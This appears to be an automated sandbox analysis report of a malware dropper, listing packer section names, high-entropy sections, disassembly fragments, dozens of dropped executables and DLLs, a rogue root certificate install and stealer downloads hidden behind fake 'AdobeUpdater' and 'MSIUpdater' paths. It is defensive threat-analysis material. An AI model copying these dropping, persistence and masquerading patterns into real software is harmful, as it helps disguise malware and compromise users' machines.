Source: default_v2[1].exe.0.dr	Static PE information: section name: .vmp
Source: default_v2[1].exe.0.dr	Static PE information: section name: .vmp
Source: Q7vDtN_em7fitYNxQll9ewNo.exe.0.dr	Static PE information: section name: .vmp
Source: Q7vDtN_em7fitYNxQll9ewNo.exe.0.dr	Static PE information: section name: .vmp
Source: Q7vDtN_em7fitYNxQll9ewNo.exe.0.dr	Static PE information: section name: .vmp
Source: 123p[1].exe.0.dr	Static PE information: section name: .00cfg
Source: 123p[1].exe.0.dr	Static PE information: section name: .text0
Source: 123p[1].exe.0.dr	Static PE information: section name: .text1
Source: 123p[1].exe.0.dr	Static PE information: section name: .text2
Source: mqno7fOpkNXkRXNi1WQAv6HN.exe.0.dr	Static PE information: section name: .00cfg
Source: mqno7fOpkNXkRXNi1WQAv6HN.exe.0.dr	Static PE information: section name: .text0
Source: mqno7fOpkNXkRXNi1WQAv6HN.exe.0.dr	Static PE information: section name: .text1
Source: mqno7fOpkNXkRXNi1WQAv6HN.exe.0.dr	Static PE information: section name: .text2
Source: setup[1].exe.0.dr	Static PE information: section name: .sxdata
Source: WuCWK8yqSjYPSqgAmQSoYHzV.exe.0.dr	Static PE information: section name: .sxdata
Source: XUm5iHwFVfNXnTAqN672Jc3R.exe.0.dr	Static PE information: section name:
Source: XUm5iHwFVfNXnTAqN672Jc3R.exe.0.dr	Static PE information: section name:
Source: XUm5iHwFVfNXnTAqN672Jc3R.exe.0.dr	Static PE information: section name:
Source: XUm5iHwFVfNXnTAqN672Jc3R.exe.0.dr	Static PE information: section name:
Source: XUm5iHwFVfNXnTAqN672Jc3R.exe.0.dr	Static PE information: section name: .themida

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_04550424 push eax; ret	0_3_04550460
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_04550424 push eax; ret	0_3_04550460
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_04550424 push eax; ret	0_3_04550460
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_04550424 push eax; ret	0_3_04550460
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_04565530 push 00418246h; ret	0_3_0456559E
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_04565530 push 00418246h; ret	0_3_0456559E
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_04565530 push 00418246h; ret	0_3_0456559E
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_04565530 push 00418246h; ret	0_3_0456559E
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_045655A8 push 004182F0h; ret	0_3_04565648
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_045655A8 push 004182F0h; ret	0_3_04565648
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_045655A8 push 004182F0h; ret	0_3_04565648
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_045655A8 push 004182F0h; ret	0_3_04565648
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_04565652 push 00418418h; ret	0_3_04565770
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_04565652 push 00418418h; ret	0_3_04565770
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_04565652 push 00418418h; ret	0_3_04565770
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_04565652 push 00418418h; ret	0_3_04565770
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_0456574C push 00418418h; ret	0_3_04565770
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_0456574C push 00418418h; ret	0_3_04565770
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_0456574C push 00418418h; ret	0_3_04565770
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_0456574C push 00418418h; ret	0_3_04565770
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_045550D8 push 00407DA4h; ret	0_3_045550FC
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_045550D8 push 00407DA4h; ret	0_3_045550FC
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_045550D8 push 00407DA4h; ret	0_3_045550FC
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_045550D8 push 00407DA4h; ret	0_3_045550FC
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_045540C8 push 00406D94h; ret	0_3_045540EC
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_045540C8 push 00406D94h; ret	0_3_045540EC
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_045540C8 push 00406D94h; ret	0_3_045540EC
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_045540C8 push 00406D94h; ret	0_3_045540EC
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_045690EC push ecx; mov dword ptr [esp], edx	0_3_045690F1
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_045690EC push ecx; mov dword ptr [esp], edx	0_3_045690F1
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: 0_3_045690EC push ecx; mov dword ptr [esp], edx	0_3_045690F1

Source: BI6oo9z4In.exe	Static PE information: section name: entropy: 7.280076261857407
Source: niko[1].exe.0.dr	Static PE information: section name: entropy: 7.9995564276708135
Source: niko[1].exe.0.dr	Static PE information: section name: entropy: 7.996435466042185
Source: niko[1].exe.0.dr	Static PE information: section name: entropy: 7.834540999218971
Source: niko[1].exe.0.dr	Static PE information: section name: entropy: 7.965330214350906
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: section name: entropy: 7.9995564276708135
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: section name: entropy: 7.996435466042185
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: section name: entropy: 7.834540999218971
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: section name: entropy: 7.965330214350906

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Jump to dropped file

Installs new ROOT certificates

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob

Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\ProgramData\KJKKKJJJKJKF\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\default_v2[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-DFDEG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-7F9NL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\ProgramData\KJKKKJJJKJKF\nss3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\lumma2305[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV168.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\ProgramData\KJKKKJJJKJKF\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\o2i3jroi23joj23ikrjokij3oroi[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\Retailer_prog[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-VPC2O.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	File created: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\openh264.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\CBFIIEHJDBKJ\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\Retailer_prog[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\ProgramData\KJKKKJJJKJKF\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-790KC.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	File created: C:\Users\user\AppData\Local\84679a19-0f45-4e6d-bca5-a027588bcda7\unbmFXV_GPtCMFoyWe7JMXak.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-3CSIJ.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\CBFIIEHJDBKJ\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\CBFIIEHJDBKJ\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-O7QHE.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\niko[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-B5CET.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\QtAVWidgets1.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	File created: C:\Users\user\AppData\Local\Temp\7zSC067.tmp\Install.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\CBFIIEHJDBKJ\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	File created: C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lumma2305[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma2305[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	File created: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\ProgramData\KJKKKJJJKJKF\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5Svg.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\crt[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSC067.tmp\Install.exe	File created: C:\Users\user\AppData\Local\Temp\7zSCCDB.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\123p[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\libeay32.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\ProgramData\KJKKKJJJKJKF\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\mousehelper.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcp140.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-LVG3G.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\CBFIIEHJDBKJ\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcp120.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcp140_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Default12_v2[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-CASGE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcr120.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5Xml.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	File created: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe	File created: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-1D8SM.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-K7SUJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-4DGK2.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\timeSync[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\sqls[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\setup[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	File created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	File created: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\avdevice-58.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5WinExtras.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\libcurl.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
